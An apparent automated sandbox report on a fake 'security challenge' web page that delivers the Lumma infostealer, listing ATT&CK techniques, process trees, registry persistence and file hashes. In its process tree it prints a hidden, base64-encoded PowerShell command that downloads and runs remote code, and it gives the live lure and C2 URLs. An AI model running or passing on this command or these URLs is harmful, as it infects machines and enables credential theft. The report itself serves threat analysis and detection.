lumma | hxxps://sos-bg-sof-1[.]exo[.]io/amdbuck/challenge/botcheck/pass-this-security-challenge[.]html

Analysis

max time kernel
961s
max time network
966s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
22-11-2024 21:17

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://sos-bg-sof-1.exo.io/amdbuck/challenge/botcheck/pass-this-security-challenge.html

Score

10^/10

lumma discovery execution persistence stealer

Malware Config

Extracted

Family

lumma

https://w0rdergen1.cyou/api

Signatures

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma
Lumma family
lumma

Blocklisted process makes network request 1 IoCs

flow	pid	Process
51	5608	PowerShell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5608	PowerShell.exe

Executes dropped EXE 1 IoCs

pid	Process
2472	Setup.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\NetUtilityApp = "C:\\Users\\Admin\\AppData\\Roaming\\sJndPozF\\Setup.exe"	PowerShell.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\WindowsPowerShell\v1.0\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	PowerShell.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Setup.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
1900	msedge.exe
1900	msedge.exe
2324	msedge.exe
2324	msedge.exe
3416	identity_helper.exe
3416	identity_helper.exe
5608	PowerShell.exe
5608	PowerShell.exe
5608	PowerShell.exe
2472	Setup.exe
2472	Setup.exe
3948	msedge.exe
3948	msedge.exe
3948	msedge.exe
3948	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 6 IoCs

pid	Process
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	5608	PowerShell.exe

Suspicious use of FindShellTrayWindow 25 IoCs

pid	Process
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe
2324	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2324 wrote to memory of 3780	2324	msedge.exe	85
PID 2324 wrote to memory of 3780	2324	msedge.exe	85
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 3600	2324	msedge.exe	87
PID 2324 wrote to memory of 1900	2324	msedge.exe	88
PID 2324 wrote to memory of 1900	2324	msedge.exe	88
PID 2324 wrote to memory of 2764	2324	msedge.exe	89
PID 2324 wrote to memory of 2764	2324	msedge.exe	89
PID 2324 wrote to memory of 2764	2324	msedge.exe	89
PID 2324 wrote to memory of 2764	2324	msedge.exe	89
PID 2324 wrote to memory of 2764	2324	msedge.exe	89
PID 2324 wrote to memory of 2764	2324	msedge.exe	89
PID 2324 wrote to memory of 2764	2324	msedge.exe	89
PID 2324 wrote to memory of 2764	2324	msedge.exe	89
PID 2324 wrote to memory of 2764	2324	msedge.exe	89
PID 2324 wrote to memory of 2764	2324	msedge.exe	89
PID 2324 wrote to memory of 2764	2324	msedge.exe	89
PID 2324 wrote to memory of 2764	2324	msedge.exe	89
PID 2324 wrote to memory of 2764	2324	msedge.exe	89
PID 2324 wrote to memory of 2764	2324	msedge.exe	89
PID 2324 wrote to memory of 2764	2324	msedge.exe	89
PID 2324 wrote to memory of 2764	2324	msedge.exe	89
PID 2324 wrote to memory of 2764	2324	msedge.exe	89
PID 2324 wrote to memory of 2764	2324	msedge.exe	89
PID 2324 wrote to memory of 2764	2324	msedge.exe	89
PID 2324 wrote to memory of 2764	2324	msedge.exe	89

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument https://sos-bg-sof-1.exo.io/amdbuck/challenge/botcheck/pass-this-security-challenge.html
1⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2324
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffa98a646f8,0x7ffa98a64708,0x7ffa98a64718
  2⤵
  PID:3780
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,11055128642595466568,10439241869145375215,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2136 /prefetch:2
  2⤵
  PID:3600
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2096,11055128642595466568,10439241869145375215,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2220 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:1900
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2096,11055128642595466568,10439241869145375215,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2576 /prefetch:8
  2⤵
  PID:2764
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,11055128642595466568,10439241869145375215,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3256 /prefetch:1
  2⤵
  PID:3040
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,11055128642595466568,10439241869145375215,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3264 /prefetch:1
  2⤵
  PID:2508
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2096,11055128642595466568,10439241869145375215,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5188 /prefetch:8
  2⤵
  PID:3988
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2096,11055128642595466568,10439241869145375215,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5188 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3416
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,11055128642595466568,10439241869145375215,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5300 /prefetch:1
  2⤵
  PID:3948
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,11055128642595466568,10439241869145375215,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3920 /prefetch:1
  2⤵
  PID:816
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,11055128642595466568,10439241869145375215,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3500 /prefetch:1
  2⤵
  PID:5200
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2096,11055128642595466568,10439241869145375215,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5636 /prefetch:1
  2⤵
  PID:5208
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2096,11055128642595466568,10439241869145375215,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=4336 /prefetch:2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3948

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:3852

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1604

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
"C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe" -W hIdDEN "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4IChpd3IgJ2h0dHBzOi8vYW1kYnVja2V0Lm9zcy1hcC1ub3J0aGVhc3QtMS5hbGl5dW5jcy5jb20vcHJvY2Vzcy9KVmFXTUtkQi50eHQnIC1Vc2VCYXNpY1BhcnNpbmcpLkNvbnRlbnQ=')) | iex"
1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5608
- C:\Users\Admin\AppData\Roaming\sJndPozF\Setup.exe
  "C:\Users\Admin\AppData\Roaming\sJndPozF\Setup.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  PID:2472

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
99afa4934d1e3c56bbce114b356e8a99

SHA1
3f0e7a1a28d9d9c06b6663df5d83a65c84d52581

SHA256
08e098bb97fd91d815469cdfd5568607a3feca61f18b6b5b9c11b531fde206c8

SHA512
76686f30ed68144cf943b80ac10b52c74eee84f197cee3c24ef7845ef44bdb5586b6e530824543deeed59417205ac0e2559808bcb46450504106ac8f4c95b9da

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Filesize
152B

MD5
443a627d539ca4eab732bad0cbe7332b

SHA1
86b18b906a1acd2a22f4b2c78ac3564c394a9569

SHA256
1e1ad9dce141f5f17ea07c7e9c2a65e707c9943f172b9134b0daf9eef25f0dc9

SHA512
923b86d75a565c91250110162ce13dd3ef3f6bdde1a83f7af235ed302d4a96b8c9ed722e2152781e699dfcb26bb98afc73f5adb298f8fd673f14c9f28b5f764d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
459B

MD5
0b7c1f0042644058b40abeaf5329d06d

SHA1
587d7f93c448ab4b1dd20cfe3bbc5aa693509bff

SHA256
90c12b7be843658fc024bcb9456816422be5413472bcf555ecc292dc08410563

SHA512
fb64b718502c015f90630720d179d71dddc7b9963a735dcc8d62d8cccc20cc31ca6da7637ef44d32490e375b2506ab44fb391afa27b5617568a8495af68ff0b6

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
9c9163ebbe0b8d79e3586702a93d19a1

SHA1
fc95bb183e2d74312c61761667e98824a1d60c32

SHA256
a2afaee5f3f254cb466d482e09326a88ee526c0de87b5b23a9986e7cbd4e1d44

SHA512
26c349408231def1d2f20719d4a44514861ce70188af8361ed538a6eca569d93cecfa8bd801e908428f2fdf3de6aec2beccbf466a4da6d5f4335b86b3ae46b6a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
8c2f3d9b6b86599aa15fde27242f9083

SHA1
bbcc164e76723a1b8712114bde97093bab685559

SHA256
5f8175549b9354683686a0a3287be16fd7590b6aa8988b2dfda04c2f2c3a6f34

SHA512
cb26d45ecf110b7df2b19b209e45148ac001db49bdf97e1794398594c3e5228698b97c58541a3a5d5447ab2cb97d621ff662fad6d710bf5e8ae1e6d526fc8a52

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
15f77e4fdca0bbcc4df3f5fa697442b7

SHA1
1b396b91d5060a06882a70809e0a51c2fa47a83c

SHA256
f619c40935d74b794ae480ea4e3c0fb92f2f3961b953c3f00397c53a301bea8c

SHA512
9dc0592424375e6dd5b75e6f7c4b8462d09d6efca8080041e536538aecbd0c39c506f22d654a7941ee923cb6d417d2019ebdb66640a49c59e4416b35b3902dff

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
10KB

MD5
897870a7921eae54d013c673659c14ef

SHA1
90e3d7e1c8c5b7fbdef98c2e63525f6f3a3dd6ca

SHA256
b10cf2422ffa9da5cf4ef82283f0b578518d24ea0b86c0bde8ca5dfa76ef0a49

SHA512
d16141c41e57e8d9f68f73e1ff0b75d87196ff939cd5ecc3ad216b244d9fb6b1c9be2c25869617145cccde19859545a48f6c2040a5a02e917106c2d1cab0f0b7

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kojtn552.g2f.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\sJndPozF\setup.exe

Filesize
3.8MB

MD5
ac0571edb2c48a0ad96316d995e38abc

SHA1
56f76fb3d48d1f1c15e70481cd75743b8e2d6a28

SHA256
bb9de58568867799c964de3c59a7e70a4c69703444126740dca59a8306ca9be3

SHA512
4078b4035aae258fd6e5e46a468dea927d00e1c8ca197acc88434a22f80e38fbf3215117d817f72ce554a2e7aa579b4baac3b3097d28d40bd8cf86deb8c5be0a

Download Submit
memory/2472-358-0x00000000028F0000-0x0000000002944000-memory.dmp

Filesize
336KB

Download
memory/2472-368-0x0000000000400000-0x000000000080C000-memory.dmp

Filesize
4.0MB

Download
memory/5608-75-0x000002B4847A0000-0x000002B4847C2000-memory.dmp

Filesize
136KB

Download
memory/5608-135-0x000002B4847D0000-0x000002B4847E2000-memory.dmp

Filesize
72KB

Download
memory/5608-136-0x000002B4841C0000-0x000002B4841CA000-memory.dmp

Filesize
40KB

Download